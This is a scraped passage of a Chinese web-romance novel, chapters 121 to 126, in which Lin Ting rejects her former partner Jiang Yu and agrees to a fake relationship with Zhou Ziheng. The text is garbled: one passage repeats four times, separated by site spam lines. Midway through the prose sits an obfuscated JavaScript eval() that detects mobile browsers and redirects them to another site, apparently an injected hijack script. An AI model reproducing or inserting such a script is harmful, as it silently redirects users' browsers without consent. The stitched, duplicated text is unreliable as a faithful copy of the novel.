现在说这些,又有什么用? 江遇这份自以为是的深情,让林听感到恶心。 恶心极了! 幼儿园校门口。 江遇泰然自若地停在了林听和宋律风的面前。 他保持着绅士礼貌,“二位,早上好! 宋律风阴沉着脸,问,“你不搞你的医药研发,你跑来柚子的幼儿园做什么? 江遇答得大方平静,“介绍一下我的新身份,东江幼儿园新来的美术老师和体育教练。 江遇的一幅星空图,拍到了八十万一幅。 他在美术界享有声望。 又曾是全国散打青年组冠军得主。 是个多才多能之人。 再加上他**医药最大股东的身份。 他又为东江国际幼儿园,捐赠了一个亿的资金。 想到得到这两个职位,不难。 柚子每天都有美术课和体育课。 也就是说,江遇每天都会有机会接触到柚子。 林听的胸口,却突然又闷又堵。 她没好看地看着江遇。 这个男人,果然还是和以前一样,缠人的本事只增不减。 第121章 越来越有夫妻相 林听承认。 年轻的时候,她是个恋爱脑。 越是生气的时候,她越希望江遇去哄一哄她。 现在想想,那可时候真是幼稚又蠢笨。 她做了一个沉沉的深呼吸,胸口依然堵得厉害。 所以,说话的时候,她的态度自然又冷又反感: “江遇,你以为你做这些,柚子就能原谅你,喜欢你?” “你这样,只会让柚子更加讨厌你。” 江遇知道,柚子和林听都很讨厌他。 知道是一回事,亲口听她说,又是另一回事。 心里难过的江遇,面上平静自如,“我只是突然对教育事业,十分感兴趣而已。” 这话,鬼都不会相信。 这个男人就是犯贱,失去了才懂得珍惜。 没有看到这个男人时,林听的心情不会像现在这样复杂难过。 那些过往的伤痛,明明已经被她尘封起来。 明明已经放下了呀。 为什么还是会被血淋淋地撕开? “江遇,不管你做什么,我和柚子都不会原谅你。” “你听清楚了吗?” “如果没听清楚,我再说一遍,我和柚子永远不会原谅你,你做什么都没有用。” 阳光从校园外的芒果树上,打落下来。 明明斑驳明媚。 却映得江遇一身破碎。 他蜷紧骨节分明的手指,强装镇定,淡淡道: “我早上还有一节课,要教孩子们画画。” “失陪了。” 回去的路上,宋律风问,“小听,要不要我把柚子和落落转学?” 林听:“没用的,柚子转到哪个学校,江遇便会跟到哪个学校的。” 他缠人的本事,她是知道的。 连续好几天,江遇完全不顾**医药的大事小事。 每天,他都会去东江幼儿园。 每天早上,林听去送柚子上幼儿园时,江遇都会大大方方地同她们母女俩打招呼。 柚子的态度是冷冷的。 林听的态度也是冷冷的。 江遇不死心。 第五天早上。 周自衡亲自陪着林听,去送柚子上 幼儿园。 那辆黑色的红旗国礼,在校门口不远处,停了许久了。 今天是个秋高气爽的日子。 江遇用满眼的平静自如,伪装着苦涩的心情。 见到林听带着柚子和落落,从周自衡的红旗国耀走下来,所有的情绪再也无法掩饰。 他知道,如果自己再不想办法,快点得到林听的原谅。 周自衡一定会把林听从他身边抢走。 他拿着东西下了车。 林听挥手和柚子落落告别。 身侧的周自衡,与她肩并着肩。 剪了短发,做了微卷造型的她,在周自衡面前,笑得那样甜美。 那个笑容,江遇许久未曾见到过了。 胸口突然又堵又涩。 他在走过去,停在周自衡和林听面前。 林听脸上的笑容,戛然而止。 眉眼里的笑意,一点点绷紧,一点点变冷。 江遇胸口发紧,面上却带着看似的平静,然后递上一个透明的盒子。 盒子里,是前几日才被林听摔碎的陶瓷娃娃。 它们又**遇连夜修复好了。 他知道,林听会摔掉它。 他抢先道,“听听,你摔一次,我就修一次。没有我修复不了的。” 疯子! 做这些,根本毫无意义。 林听伸手一拍。 明知他还会继续修复,她还是毫不留情面地,将那对装在透明盒子里的陶瓷娃娃,摔在地上。 它们又碎了。 这在江遇的预料之中。 明明已经做好了准备,他的胸口还是难免不了的,一阵刺痛。 “没关系,还可以再修复。” 他蹲下来,把透明盒子里的碎掉的陶瓷娃娃,捧起来。 “周自衡,我们走。” 林听上了周自衡的那辆酒红色的,红旗国耀。 当初,江遇送周自衡这辆车,是希望他找个女朋友,载着他的女朋友去约会的。 可是这辆车,却载着他的女人,渐渐远去。 江遇的指甲,深深地掐入了掌心里。 蜷紧的拳头上,冒出一根根青筋。 车上。 周自衡 握着方向盘,“看他到,还会心痛吗? 林听没有回答。 不心痛肯定是假的。 但她可以肯定的是,她不想再见到江遇。 偏偏这个男人,真的阴魂不散。 这时,车子到了一处红绿灯。 周自衡缓缓踩了刹车,停下来,“需要我的帮助吗? 林听看向他,“你有什么办法,让江遇不要在我面前晃悠? 周自衡平静道,“我知道你无心感情的事。正好我有个朋友,他也只需要一个假的女朋友,来解决某些麻烦。 林听没有说话。 是不是只有她身边有别的男人了,江遇才会死心? 她靠在车窗,“你让我想一想。 翌日。 林听参加了一个生日宴。 这场生日宴会的东道主,是江书臣的父亲——江道远。 今夜是江道远六十岁寿宴。 林听和周自衡,都是受邀嘉宾。 他们一起出席宴会。 车子抵达江书臣父母的独栋别墅。 周自衡下了车,站在车门前,绅士地等着从车上走下来的林听和小柚子。 江遇就在不远处。 看着穿着漂亮裙子的小柚子,一手牵着周自衡,一手牵着林听。 迷人的灯光下,他们仨像是一家三口似的。 江道远见到了他们,和身边的宾客招了声招呼,上前两步。 “阿衡,小听! 目光落在和林听长得一模一样的柚子身上,“这就是小柚了? 当初,江道远和江书臣,一起去过监控探望林听。 林听是江道远看着长大的。 他一直不相信,当初林听背叛**两家。 现在真相大白,江道远对林听十分歉疚,“小听,都怪叔叔,当初没有帮到你什么,让你这些年受苦了。昨天你爸还特地来我这里,让我劝劝你,早些回林家。但是叔叔要对你说的是,别那么容易原谅那个糊涂的老头子,让他吃些苦头也是应该的。 这么好的女儿,说送进监狱就送进监狱了。 当初江书臣和江道远,劝了林建国无数次。 依旧拦不住。 林听知道,江书臣能够客观看待事物,便是深受江道远影响。 他们父子二人,上下一致。 江道远又看了看旁边的周自衡,“小听啊,我看着你和阿衡二人,怎么越来越有夫妻相了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 握着方向盘,“看他到,还会心痛吗? 林听没有回答。 不心痛肯定是假的。 但她可以肯定的是,她不想再见到江遇。 偏偏这个男人,真的阴魂不散。 这时,车子到了一处红绿灯。 周自衡缓缓踩了刹车,停下来,“需要我的帮助吗? 林听看向他,“你有什么办法,让江遇不要在我面前晃悠? 周自衡平静道,“我知道你无心感情的事。正好我有个朋友,他也只需要一个假的女朋友,来解决某些麻烦。 林听没有说话。 是不是只有她身边有别的男人了,江遇才会死心? 她靠在车窗,“你让我想一想。 翌日。 林听参加了一个生日宴。 这场生日宴会的东道主,是江书臣的父亲——江道远。 今夜是江道远六十岁寿宴。 林听和周自衡,都是受邀嘉宾。 他们一起出席宴会。 车子抵达江书臣父母的独栋别墅。 周自衡下了车,站在车门前,绅士地等着从车上走下来的林听和小柚子。 江遇就在不远处。 看着穿着漂亮裙子的小柚子,一手牵着周自衡,一手牵着林听。 迷人的灯光下,他们仨像是一家三口似的。 江道远见到了他们,和身边的宾客招了声招呼,上前两步。 “阿衡,小听! 目光落在和林听长得一模一样的柚子身上,“这就是小柚了? 当初,江道远和江书臣,一起去过监控探望林听。 林听是江道远看着长大的。 他一直不相信,当初林听背叛**两家。 现在真相大白,江道远对林听十分歉疚,“小听,都怪叔叔,当初没有帮到你什么,让你这些年受苦了。昨天你爸还特地来我这里,让我劝劝你,早些回林家。但是叔叔要对你说的是,别那么容易原谅那个糊涂的老头子,让他吃些苦头也是应该的。 这么好的女儿,说送进监狱就送进监狱了。 当初江书臣和江道远,劝了林建国无数次。 依旧拦不住。 林听知道,江书臣能够客观看待事物,便是深受江道远影响。 他们父子二人,上下一致。 江道远又看了看旁边的周自衡,“小听啊,我看着你和阿衡二人,怎么越来越有夫妻相了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 握着方向盘,“看他到,还会心痛吗? 林听没有回答。 不心痛肯定是假的。 但她可以肯定的是,她不想再见到江遇。 偏偏这个男人,真的阴魂不散。 这时,车子到了一处红绿灯。 周自衡缓缓踩了刹车,停下来,“需要我的帮助吗? 林听看向他,“你有什么办法,让江遇不要在我面前晃悠? 周自衡平静道,“我知道你无心感情的事。正好我有个朋友,他也只需要一个假的女朋友,来解决某些麻烦。 林听没有说话。 是不是只有她身边有别的男人了,江遇才会死心? 她靠在车窗,“你让我想一想。 翌日。 林听参加了一个生日宴。 这场生日宴会的东道主,是江书臣的父亲——江道远。 今夜是江道远六十岁寿宴。 林听和周自衡,都是受邀嘉宾。 他们一起出席宴会。 车子抵达江书臣父母的独栋别墅。 周自衡下了车,站在车门前,绅士地等着从车上走下来的林听和小柚子。 江遇就在不远处。 看着穿着漂亮裙子的小柚子,一手牵着周自衡,一手牵着林听。 迷人的灯光下,他们仨像是一家三口似的。 江道远见到了他们,和身边的宾客招了声招呼,上前两步。 “阿衡,小听! 目光落在和林听长得一模一样的柚子身上,“这就是小柚了? 当初,江道远和江书臣,一起去过监控探望林听。 林听是江道远看着长大的。 他一直不相信,当初林听背叛**两家。 现在真相大白,江道远对林听十分歉疚,“小听,都怪叔叔,当初没有帮到你什么,让你这些年受苦了。昨天你爸还特地来我这里,让我劝劝你,早些回林家。但是叔叔要对你说的是,别那么容易原谅那个糊涂的老头子,让他吃些苦头也是应该的。 这么好的女儿,说送进监狱就送进监狱了。 当初江书臣和江道远,劝了林建国无数次。 依旧拦不住。 林听知道,江书臣能够客观看待事物,便是深受江道远影响。 他们父子二人,上下一致。 江道远又看了看旁边的周自衡,“小听啊,我看着你和阿衡二人,怎么越来越有夫妻相了。 你的朋友正在书荒,快去帮帮他吧 握着方向盘,“看他到,还会心痛吗? 林听没有回答。 不心痛肯定是假的。 但她可以肯定的是,她不想再见到江遇。 偏偏这个男人,真的阴魂不散。 这时,车子到了一处红绿灯。 周自衡缓缓踩了刹车,停下来,“需要我的帮助吗? 林听看向他,“你有什么办法,让江遇不要在我面前晃悠? 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这个男人竟然也会笑? 明明是麻木清冷又铁血刚毅的长相,偏生笑出了揉碎冰雪般的温柔。 这样的温柔,竟然撩拨得夏静姝心湖荡漾。 她忽然生出一个很无耻的念头。 和周自衡这种既铁血刚毅,又柔情似水的男人上一回床。 滋味一定很爽吧! 沉浸在幻想中,夏静姝差点忘了自己是江书臣的妻子。 她盯着周自衡看。 这抹异样的目光,被林听收入眼底。 他看了看周自衡,又看了看江书臣,最后再去看夏静姝时,她已经没有再打量周自衡了。 曾经混迹名媛圈的林听,知道那些豪门千金,都对周自衡有非分之想。 一个个的都想和周自衡睡一觉。 她希望,刚刚只是她看错了。 夏静姝和书臣哥恩爱多年,夏静姝应该是有分寸的。 可是女人的直觉很灵敏,刚刚夏静姝看周自衡的目光,分明就有问题。 夏静姝被林听这样直直地盯着,有些心虚。 不由低下头去。 周自衡可是江书臣从小到大的好哥们。 江书臣不在家时,她可以和外面的男人乱搞,但不该打周自衡的主意。 一股羞耻之心,爬上心头。 越是羞耻,她越是甜蜜恩爱地挽紧了江书臣的手。 这时,周自衡 笑着问江道远: “我记得江叔对易经国学颇有研究?” 灯光下江道远笑着应声: “略懂一二。” “”阿衡小听回头空了我好好给你们算算。” “你们也算是患难之交要是真能够喜结连理也是一桩良缘啊。” “到时候老头子我啊可是又有喜酒喝了。” 说着江道远笑意加深。 对面的林听却有些尴尬。 可是她还是大大方方道: “江叔我和周自衡从小到大二十多年的发小了。” “这回你恐怕是看错了。” 柚子等几个长辈们都说完了话这才看向江书臣。 “书臣叔叔嘉树哥哥呢?” 小妮子来的路上一直吵着要找嘉树哥哥玩。 夏静姝借机上前牵起小柚子的手“柚子静姝阿姨带你去找嘉树哥哥。” 林听跟了上去。 远处一双炽热的眸光一直盯着林听母女的背影。 直到瞧不见了那眸光依旧如丝似线。 江遇记得许多年前江道远随口跟他说了一句:阿遇啊我瞧着你和小听怎么没有夫妻相呢? 那时他斩钉截铁:不可能的事情。林听这辈子注定了是我江遇的妻子。 可刚刚江道远随口一说周自衡和林听有夫妻相。 他整个人彻底慌了。 人们推杯换盏的时候江遇端了两杯红酒走到周自衡的面前。 他把酒杯递给周自衡“林听知道你喜欢她吗?” 那杯酒周自衡并没有接过去。 他甚至不屑与江遇说话“你想说什么?” 江遇:“阿衡我从来没有求过谁。但是这一次你可不可以放手算我求你。你应该知道我从小到大一直爱着林听我不能没有她。” 哼! 周自衡哼了一声。 这真是他听到的最大的笑话。 “阿衡你又不是非她不可。” 周自衡的目光 落在江遇身上只差没把他刀了。 “你又怎知道我不是非她不可?” 他的整个人生,都是灰暗阴霾的。 兄弟手足想让他死。 亲生父亲,把他当成棋盘上一颗随时可以被弃的棋子。 连生下她的母亲,也不曾给过他半分亲情。 在他九岁那年,林听毫不犹豫抱着一只破游泳圈,跳进水里扑向他时,他便认定了她。 只是这埋在心底深处的爱意,还没来得及表白。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714335|172816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林听已经成了跟在江遇屁股后面,天天吵着长大了要嫁给江遇的小青梅。 “江遇,林听不会回头的。 “不信,你试试。 他故意一脸泰然自若地,刺激着江遇。 果然,江遇紧握着拳头,愤怒之意跃然于眉眼间。 江遇走了,带着他手中的两杯红酒,还有他的怒意。 他在江道远的生日晚宴上,喝了许多酒。 晚宴上,小嘉树和小柚子吃了些东西,又呆在一块儿玩。 林听和夏静姝在旁边照看着。 夏静姝问,“小听,你一直住在周自衡的别墅里,你不会是对他有意思吧? 夜色下,林听盯着夏静姝那双眼睛,不答,反问,“刚刚我们来的时候,你看周自衡的眼神,有些不太对劲儿。 “我哪有啊。 林听没有再说话。 她看着两个孩子在玩耍。 过了一会儿,夏静姝劝道,“小听,江遇始终是柚子的亲生父亲,而且他已经知道自己错了,要不然你再给他一个机会吧。我看他也挺可怜的。 林听冷冷冰冰道:“我的事情轮不到你操心。我能和你坐在一起,不过是看在小嘉树的面子上。 江书臣走过来时,林听去了一趟洗手间。 返回时,他穿过一片月光斑驳的花丛。 手腕忽然被身后的人拽住。 还没反应过来,一阵浓浓的酒气扑面而来。 借着月色,她看清满眼醉意的江遇。 他整个人染满了悲伤。 “放开我! 她想甩开他。 手腕上的力道却更紧,“听听,你不要不理我好不好。 江遇的另一只手,指了指自己的胸口,“好痛,好痛! 他好久都没有抱过她了。 结实有力的臂膀,将她圈在怀里。 带着醉意的吻,落在她的发丝,落下她最敏感的耳畔,“听听,你好久都没有叫过我阿遇了…… 他最喜欢她叫他阿遇的时候,勾紧他的腰,攀紧他的背,永远也不想跟他分开的迷离样子。 下一瞬。 啪! 林听一个巴掌扇在江遇的脸上。 “江遇,你要点脸好不好? “酒醒了没有? 没醒的话,她不介意再扇他一巴掌。 不远处的树下,两人看着花丛那边的一切。 第123章 娶林听,蓄谋已久 树下,洛高和周自衡一样地,看着不远处的江遇挨了林听一巴掌。 洛高问,“家主,刚刚您是故意刺激江总的?” 有家主的这翻刺激,江遇必定会对林听纠缠不清。 而林听最讨厌的,就是江遇的纠缠。 她不是一个傻女人,不可能被这个男人虐到体无完肤,还会再吃回头草。 这些天,江遇总是在林听母女俩面前阴魂不散。 谁都能看得出来,林小姐她苦不堪言。 洛高又问,“家主,下次和林小姐提那件事情,她会同意吗?” 夜色下,周自衡的眸光沉静如深潭,“她会主动找我的。” …… 不远处的花丛旁。 林听扇了江遇一耳光后,准备离开。 江遇再次拽住她的手腕。 不过这一次,知道她不喜欢这样被拽着,江遇很快就松开了。 “听听,对不起!” “是我太浑蛋了,没有给你信任,没有给你安全感。” “真的很对不起!” 这句迟来的对不起,对林听来说已经没什么意义了。 可是鼻尖还是一阵发酸。 这段不能善终的感情,她才是投入最多的那个。 她曾经把江遇当成是她最坚实的依靠。 可他把她推入了深渊。 但是那些曾经的痛,曾经的黑暗,都已经过去了。 不重要了。 “我不需要你的对不起,太廉价了!” 说完这句话,林听头也不回。 而江遇,没有脸再追上去。 林听返回柚子身边时,遇到了坐在轮椅里的林建国。 他的伤没有有痊愈。 几日不见,林建国瘦了不少。 推着轮椅的林振宇,停下来,看着她,“小听,爸知道你也要来参加江叔的生日宴,不顾自己还不能出院,非要来一趟。他就是想看你一眼。” 此时此刻,林建国思念如潮的目光,落在林听身上,“小听,这些天你过得还好吗?” 林听的脸上,一丝笑容也没有,“很好。如果二位能不出现在我面前,会更好。” 闻言,林振宇皱眉,“小听,爸还生着病,就为了来看你一眼。你可不可以不要对爸这么冷漠残忍?” 这就残忍了吗? 她冷哼一声,“林先生真是双标。我若是残忍,你们对我做的那些算什么,丧尽天良?” 一句话,林家父子二人,哑口无言。 林听懒得跟他们理论。 她迈着坚定地步伐,朝柚子的方向离去。 父子二人看着她一点点远去,最后消失瞧不见了。 轮椅上的林建国,痛心疾首,“振宇,你妹妹什么时候才肯原谅我们?” …… 晚宴结束后。 林听和周自衡,带着柚子离开了江家老宅。 车上,柚子玩累了,在周自衡的怀里,睡着了。 回到君悦府,周自衡把柚子抱回了她的公主房。 林听看着周自衡,小心翼翼替柚子盖着被子。 她在旁边,小声说了一句,“周自衡,有件事情,想拜托你。” “出去说。”周自衡起了身,并了床头灯,走出去。 两人去了周自衡的书房。 周自衡给她泡了一杯金桔柠檬水,递给她,“晚上喝酒了吧?” 林听接过水,“只喝了几口而已。” 不过,这会儿她确实是有些口干。 杯中的水,她喝下了一大半。 因为心中有事要与他商量,竟然没有发现,这是她最喜欢喝的金桔柠檬水。 以前觉得周自衡是个冷冰冰,对任何人任何事都麻木无感情的人。 这些天越是接触,越是发现,他其实挺细心,挺温暖的。 至少,他对她和柚子,是温暖的。 周自衡坐下来,“什么事?” 林听也坐下来,放下杯子,开了口: “周自衡,前两天你不是跟我说,想帮着我让江遇死了这条心吗?” 周自衡泰然自若地坐在对面,淡淡道,“今天晚上,他又骚扰你了?” 林听本来以为。 过去的那些至黑至暗,那些伤痛,只要她放下了就好了。 但是江遇这样没完没了,阴魂不散。 每天送柚子上幼儿园,早上,下午,江遇都会出现在她们母女面前。 而且,柚子一直诉苦,不想让江遇当他们的美术老师和体育教练。 如果不让江遇死心,这个男人会一直纠缠不停。 她不答,反问,“周自衡,你上次不是说,你有一个人品很靠谱的朋友,需要一个假的女朋友来应付一些麻烦吗。你问问她,我可不可以。他会不会介意,我带着一个女儿,不合适?” 她其实有些担忧。 就算现在去找个假的男朋友,来打发江遇。 也未必有人愿意吧。 除非花钱。 周自衡换了个坐姿,漫不经心道,“真是不巧,他刚刚找到合作伙伴,签了三年合约。” 林听想:啊,还要签合约啊? 这怎么跟小说情节一样。 就在林听沉思之时,周自衡语气平缓的,毛遂自荐,“你看我怎么样?” “啊?”林听没反应过来。 周自衡依旧语气淡淡,“你应该知道,我一直无心男女感情之事,儿女情长这些事情对我来说只是个麻烦事。所以这些年我一直单身。” 停了停,他又道,“不过,看在你过去对我有救命之恩的份上,我可以帮你。” 林听慢慢消化着。 他的意思是说,他愿意假装她的男朋友,然后让江遇死了这条心? 这时,沙发对面的周自衡,依旧语气淡淡道,“不过,仅仅只是帮忙。” 林听认真地问道,“周自衡,真的愿意帮我让江遇死了这条心?” 周自衡:“看在多年朋友份上。不过,你要是觉得我不合适,你可以找别人。如果你有更合适的人选。” 林听又不傻。 没有谁能比周自衡更合适了。 如果让江遇知道,她和周自衡在一起了,江遇自然会识趣一些,不再骚扰她和柚子。 他们三兄弟当中,论谋略,论身材,论长相,论智慧,周自衡都是排第一的那一个。 全鹏城,都找不到比周自衡更合适的人选了。 她生怕周自衡反悔,赶紧抓住这个机会,“周自衡,可是你说的你要帮我。二十多年的朋友了,要帮帮到底,可不许反悔。” 第124章 晚安,周太太! 此时此刻的周自衡,脸色平静地坐在沙发对面。 放在沙发边几上的水杯,被他端起来喝了两口。 温水入喉时,他滚动的喉结在修长的脖颈上划出一道流畅的弧度。 放下水杯时,他就那么平静地看着,一直等着他答复的林听。 他捕捉着林听眉眼里的每一种细微的情绪。 他深知她被林家父子以及江遇深深伤害后,那装出来的故作坚强。 更是深知经历江遇以后,她对男女之事再无任何想法。 为了打消她的疑虑,他微微挑眉,故意说道,“倒是可以勉为其难帮你一次,不过……” 林听再也不想被江遇纠缠了。 见他一次,还未治愈的伤口,又会被血淋淋地撕开。 只要能让江遇死了这条心,她什么都愿意。 她赶紧说,“周自衡,你别勉为其难了。看在我救过你命的份上,你帮我。你提的条件,我都答应。” 其实说起来,林听挺惭愧的。 小时候,哪里是她救了周自衡。 她抱着一个漏气的游泳圈,好不容易划到周自衡身边时,游泳圈彻底没气了。 她好几次沉下去。 呛了好多水。 小手不停地抓挠着。 明明是要去救周自衡的,却把周自衡的脑袋往水里按了又按。 哪里是她救了周自衡。 分明是赶来的江遇和江书臣救了他们俩。 谁知道,周自衡一直记着儿时的恩情。 一直把她当救命恩人。 这时,周自衡漫不经心问,“我提条件,你都答应?” 林听点头,“不过什么,说吧。” 周自衡:“没想好,以后再说。” 林听伸出一根小指头来,“那你答应了要帮我的,拉勾不许变。” 看着林听伸出来的小指头,周自衡没有伸手勾上去。 他拍了拍她的脑袋,笑道,“三十岁当妈的人了,幼稚!” 不过,他还是跟她拉了拉勾。 松开手时,林听不由在心里嘀咕了一声。 哪里幼稚了? 不过,她完全没有察觉到,和周自衡相处时,她可以和儿时一样无忧无虑。 那些在江遇和林家父子那里遭遇的苦与痛,似乎瞬间消散。 连这书房的灯光,也格外明亮。 心情也是轻松愉快的。 她从沙发上起了身,“周自衡,就这么愉快地决定了。我去洗澡睡了。” 说着,她便转身朝书房外走去。 走到门口时,她又回过头来,看着目送她离开的周自衡: “周自衡,你也早点睡,晚安!” 周自衡:“晚安!” 脚步声渐渐远去。 直到听到开门的声音,周自衡才抽回目光。 低头时,不经意间瞧见沙发上,林听落在那里的发圈。 发圈上坠着一颗粉色的水晶草莓。 她还是和小时候一样,喜欢如此可爱的发饰。 下一瞬,发饰拽进了他的掌心。 这样的发饰,周自衡的抽屉里,也有一枚。 那是她六岁那一年落下的。 不过那一枚,并非粉色的水晶草莓坠饰,而是坠着两颗青苹果。 多年来,林听选发饰的喜好完全没有变。 她还是喜欢这些可可爱爱的坠饰。 夜深了,周自衡并没有离开书房去睡觉。 他拿起曾经珍藏已久的,那枚坠着两颗青苹果的,属于林听的发圈。 无数个大冬天里,母亲朝他身上泼了一盆又一盆的冰水,故意让他发高烧才能见父亲一面的日子; 无数个他被周家哥哥姐姐们戏弄打骂,把他几天几夜关在废弃地窖不见天日的日子; 无数个他自己都快放弃自己,至黑至暗的日子里。 都是这一枚坠着两颗青苹果的发圈,给予他温暖,给予他力量,把他从深渊里拽出来,陪他挺过来的。 二十四年了。 这枚坠着两颗小青苹果的发圈,一直是孤孤单单的。 现在好了。 它和坠着水晶草莓的发圈放在一起。 终于成双成对。 这一天,等了许久了。 …… 林听洗过澡以后,躺在床上。 她准备给周自衡发一条微信。 想让他明天陪她一起,去送柚子上幼儿园。 这样一来,就能让江遇看到,她和周自衡在一起了。 她翻出周自衡的头像。 那是一叶风雨飘摇的破烂小舟,沉浮于暴雨狂风的大浪之中的图像。 每一次点开,林听都有种心脏被暴击的冲击感。 这头像就像是周自衡的整个人生一样,风雨飘摇,不管遇到多大的狂风大浪,他都孤身一人。 难怪这个男人说,他向来对男女感情不感兴趣。 他生来就是一个孤独破碎的人。 外界都说他为了逆天改命,心狠手辣,杀害手足。 林听看来,其实周自衡有情有义的。 也不知道会不会有那么一个温暖的姑娘,能够走进周自衡的心里,让他人生的风雨飘摇变成一束彩虹。 如果真有那么一天,有这样一位姑娘来到的周自衡的面前,那该多好! 到时候,她会结束他们的假情侣关系,真心祝福他的。 她打开对话框。 准备给周自衡发消息。 好巧不巧的是,对话框里,突然弹出周自衡发来的消息: 【周太太,睡了吗?】 林听以为自己看错了。 她反复又看了好几遍。 周自衡是称呼她为:周太太? 在她还没反应过来时,周自衡又发过来: 【提前适应一下,你周太太的身份。】 她心里哦了一声。 原来这个男人是要她提前进入角色。 她扬起唇角,回复:【还没睡。明天早上你可不可以陪我一起,送柚子上幼儿园。】 周自衡:【嗯。】 林听:【谢啦,周先生。我先睡了,晚安!】 周自衡:【晚安,周太太!】 林听看到回复后,唇角弧度又是往上一扬。 这个男人还挺细心,提前让她进入角色。 也好。 免得在江遇面前穿帮。 大约过了几分钟。 林听透过窗前轻纱,看到一束车光。 接着传来汽车开出别墅大门的声音。 她赤着脚踩在毛绒绒的地毯上,走到窗边,捞起窗帘一看。 那辆酒红色的红旗国耀,驶出别墅大门。 她回床头拿起手机,给周自衡打了一个电话。 周自衡秒接。 林听问,“周自衡,这么晚了,你出去干什么?” 第125章 老婆就这么骗到手了呀 酒红色的红旗国耀,车速变缓。 开车的周自衡,从后视镜里,望向那栋住着林听和柚子母女的别墅。 隐约还能看到林听的窗户上有个人影。 他在电话里,轻声问,“不是睡了?” 林听依旧看着车子远去的方向,应声道,“我听见车子的声音,起来就看见你把车开出去了。这么晚了,你是还有什么急事要处理吗?” 握着方向盘的周自衡,在车载电话里,不答反问,“周太太是在关心我?” 林听:“好了周自衡,江遇又没在这里,不用让我提前适应我的新角色。你几点回来。” 开着车的周自衡,嘴角微微上扬,“你睡吧,我要回一趟周家山庄。” 提到周家山庄,林听整个人紧张起来。 和周家山庄有关的事情,准不是好事情。 山庄里住着的人,个个都姓周,都是和周自衡有着血缘关系的,可是没有一个人想让他活着。 周老二周老四死了,周老三周老五进监狱了,周老六下落不明。 虽然没什么人可以和周自衡作对了。 可是林听还是担心。 毕竟,周自衡还有好几个姐姐。 他的那些同父异母的姐姐,可都不是吃素的。 这时,君悦府内部车道,已经瞧不见周自衡那辆红旗国耀的车影了。 黑沉沉的天色,让林听有些压抑。 电话里,周自衡说,“我今晚住那边,不回来,你睡吧,明早见。” 林听又问,“真的没出什么事吧?” 否则,他怎么会大晚上的,回什么周家山庄。 他最讨厌的就是周家山庄了。 否则也不会在宋律风隔壁,买一栋别墅。 林听想起上次去周家山庄,她听到的枪响声。 心里总是隐隐不安。 周自衡大约知道,她在担忧什么,便道: “放心,周家那几个女流之辈,再想要我的命,也搅不起什么水花。” “我不会有事的。” “你挂吧。” 林听还是不放心,“真没事?” 周自衡在电话里,笑了笑,“林小姐,再这样问下去,我会误以为你真的想当周太太?” 林听:“放心吧,我对你的革命友情永远不变。你不要有心理压力,挂了。” 夜半。 林听好像睡着了,又好像没有睡着。 迷迷糊糊的,突然惊醒。 她拿出手机,看了看时间。 屏幕突然变亮,让她心中不踏实的感觉,越来越加重。 这一看,半夜一点半。 不知道周自衡在周家山庄,是否安然无恙,是否睡了? 纠结过后,她还是决定给周自衡发一条微信:【周自衡,你睡了吗?】 …… 周家山庄,东楼。 周自衡的手机放在案板上。 屏幕一亮。 他关了电焊枪,放下戴着面上的防烫面罩,拿起手机一看。 这么晚了,林听竟然给他发了微信。 他不答,反问:【大半夜的,你怎么还没睡?】 林听:【周自衡,你真的没事吧?】 周自衡:【没事。】 林听:【我想到周家那些人,一个个的都是豺狼虎豹,毒蝎心肠,就怕你有什么事。周家的人,你要小心一些。】 周自衡:【嗯,乖,快些睡。】 林听:【你没事就好,那我睡了。】 她把手机放到床头。 本想问这么晚了,他怎么还没睡。 但是又怕打扰他。 确定他没事,便安心了。 周自衡也放下了手机,重新拿起电焊枪和防烫面罩戴在脸上。 一枚璀璨的钻石,落入他的掌心。 最后嵌进手中的戒指凹槽。 那是他亲自设计,亲自铸造的钻石戒指。 一共两枚。 其中一枚刻有字母T,代表林听的听字。 另一枚刻有字母H,代表周自衡的衡。 两枚戒指终于守工。 他转动着,打量着。 钻石的切面,随着他每一次转动,折射出万道光芒。 似有细碎的星光,在指间流转。 …… 翌日清晨。 林听床头的闹钟响了。 她每天定好早上六点四十的闹钟起床。 快速洗澡后,去隔壁的儿童房叫柚子起床。 这天清晨,去到隔壁,柚子的房间门却是敞开的。 周自衡坐在床侧,捏了捏柚子的鼻尖,“小懒猪,该起床了,上学啦!” 这个男人,在别人面前说话时,向来清清冷冷。 哄柚子起床的口吻,却极为耐心和温柔。 不知道的还真会误以为,柚子是他亲生女儿呢。 也不知道这个男人是有多喜欢女儿。 真想让他赶紧找个心仪的姑娘,早点生一个去。 如果真有那么一个姑娘出现的话,没有帮她应付江遇,也没关系。 等柚子懒洋洋地爬起来,去刷牙时,林听才问,“你不是住在周家山庄吗,怎么这么早过来?” 周自衡看向她,“半夜事情办完了,就回来了。” 林听又说,“大半夜的来回折腾,多累啊,怎么不在山庄将就一晚?” 周自衡帮柚子叠好了被子。 起身时,看向她,“山庄空气不好。” 说完,他走出了柚子的房间。 刚刚林听只顾着和他说话,完全没注意到,他说话的功夫,已经帮柚子把被子理得整整齐齐的。 这个男人,是完全把柚子当自己的女儿来养了? 趁着柚子刷牙的时间,周自衡将连续几个月来,铸造完工的戒指拿出来。 其中一只,戴在自己手上。 另一只,递给林听。 林听没反应过来。 周自衡说,“做戏做全套。” 她这才反应过来,接过来戴在右手无名指。 竟然刚刚好。 如果她够仔细的话,她一定能发现戒指上刻着的那个字母H字。 那是周自衡的H。 代表着,戴上这枚戒指的女人,将会被周自衡套牢一生。 但她并没有发现。 只觉这枚戒指好像比普通的钻戒,更璀璨生辉。 而且它的款式竟然是她在市面上,没有见过的。 好特别! 她问,“周自衡,你哪里来的?” 周自衡撒起谎来,泰然自若,“我让洛高随便买的。” 然后,又说,“情侣戒指,一目了然。” 林听戴在手上,看了又看,“随便买的竟然如此精致,洛高眼光真好。” 此时,别处的洛高打了好几个喷嚏。 第126章 